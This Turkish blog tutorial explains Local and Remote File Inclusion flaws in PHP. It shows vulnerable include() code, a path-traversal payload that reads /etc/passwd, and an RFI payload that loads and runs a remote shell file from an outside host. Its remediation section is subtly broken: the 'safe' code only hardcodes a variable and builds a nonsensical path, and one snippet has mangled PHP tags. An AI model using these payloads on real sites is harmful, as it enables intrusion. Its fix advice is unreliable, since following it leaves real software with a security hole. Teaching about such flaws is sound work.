Local File Inclusion Nedir

0 4

Bugun herkesin merak ettiği Local File Inclusion Nedir ? konusundan bahsedeceğim.

LFI (Local File Inclusion – Serverdan Dosya Çağırma) sunucudan dosya çağırma işlemidir.

Acemi PHP yazılımcılarının dahil etme komutlarını (include, include_once, require, require_once) yanlış kullanması ile ortaya çıkan açıktır.

Sunucuda bulunan dosyaları okumanızı sağlar. Config dosyaları veya sistem dosyalarını okuyabilirsiniz. Sitede bulunan PHP dosyalarını çalıştırabilirsiniz.

Örnek olarak bir LFI açıklı kod.

 

<?php

include($_GET[“dil”]);

?>

 

Bu komut ne işe yarıyor ?

Bu komut dahil etme komutu. Yazılımcılar bunu başka amaçlarla kullanır. Saldırgan ise bunu kendi bakış açısına göre yorumlayıp kullanırsa açık çıkabilir.

Şimdi bir örnekle bakalım.

Saldırgan site.com?dil=../../../../etc/passwd yazarak /etc/passwd dosyasını okudu.

Saldırgan sitede bulunan diğer dosyaları da okuyabilir. Config dosyalarını, kullanıcı dosyalarını okuması güvenliği tehlikeye sokacaktır.

 

RFI (Remote File Inclusion) Açığı Nedir ?

RFI açığı LFI açığının çok benzeridir. LFI açığında local (yerel) bir dosya çağırırken RFI açığında uzaktan dosya çağırabilmekteyiz. Böyle bir durum olunca  saldırgan uzaktan backdoor veya shell yükleyebilir.

Örnek bir RFI açığı kodu:

?php

include($_GET[“dil”]);

?><

Şimdi RFI açığını nasıl çalıştıracağımıza bakalım.

Bir shell dosyasını dil değerine yazarak çalıştırabiliriz.

Site.com?dil=kurban.com/shell.txt olarak çalıştırabilirsiniz.

Hemen yazalım.

Evet shellimiz çalıştı.

Saldırgan böylelikle hedef siteye sızmış oldu. Saldırgan yetki yükseltme (privilege escalation) yaparsa içinde bulunan diğer sitelere zarar verebilir. Basit bir kodun nelere yol açtığını gördük. Şimdi ise açığımızın nasıl kapatılacağına geçelim.

LFI RFI Nasıl Engellenir ?

Zararlı Kod:

<?php

include($dil. “../index.php”);

?>

 

Açıksız Güvenli Kod:

<?php

$dil = “tr”;

include($dil. “../index.php”);

?>

Web sitenize bir pentest işlemi yaptırmanızda fayda var. İnclude gibi dahil etme (include_once, require, require_once) komutlarının kullanımını minimum düzeyde tutup kontrollü bir şekilde kullanmak gerekir. Aksi taktirde LFI RFI gibi zafiyetler meydana gelebilir.

Okuduğunuz için teşekkürler.

Diğer konumuzu okumayı unutmayın:https://sibermanset.com/manuel-sql-injection-nasil-yapilir/

Bu gönderiyi oylamak için tıklayın!
[Toplam: 0 Ortalama: 0]
Cevap bırakın

E-posta hesabınız yayımlanmayacak.